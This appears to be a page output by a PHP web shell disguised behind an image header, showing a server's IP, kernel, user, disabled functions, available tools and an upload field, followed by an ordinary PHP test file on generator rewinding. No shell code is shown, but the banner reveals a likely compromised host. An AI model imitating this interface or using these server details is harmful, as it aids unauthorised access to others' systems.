????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.117.232.234 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/Zend/tests/generators/ |
Upload File : |
--TEST-- A generator can only be rewinded before or at the first yield --FILE-- <?php function gen() { echo "before yield\n"; yield; echo "after yield\n"; yield; } $gen = gen(); $gen->rewind(); $gen->rewind(); $gen->next(); try { $gen->rewind(); } catch (Exception $e) { echo "\n", $e, "\n\n"; } function &gen2() { $foo = 'bar'; yield $foo; yield $foo; } $gen = gen2(); foreach ($gen as $v) { } try { foreach ($gen as $v) { } } catch (Exception $e) { echo $e, "\n\n"; } function gen3() { echo "in generator\n"; if (false) yield; } $gen = gen3(); $gen->rewind(); ?> --EXPECTF-- before yield after yield exception 'Exception' with message 'Cannot rewind a generator that was already run' in %s:%d Stack trace: #0 %s(%d): Generator->rewind() #1 {main} exception 'Exception' with message 'Cannot traverse an already closed generator' in %s:%d Stack trace: #0 %s(%d): unknown() #1 {main} in generator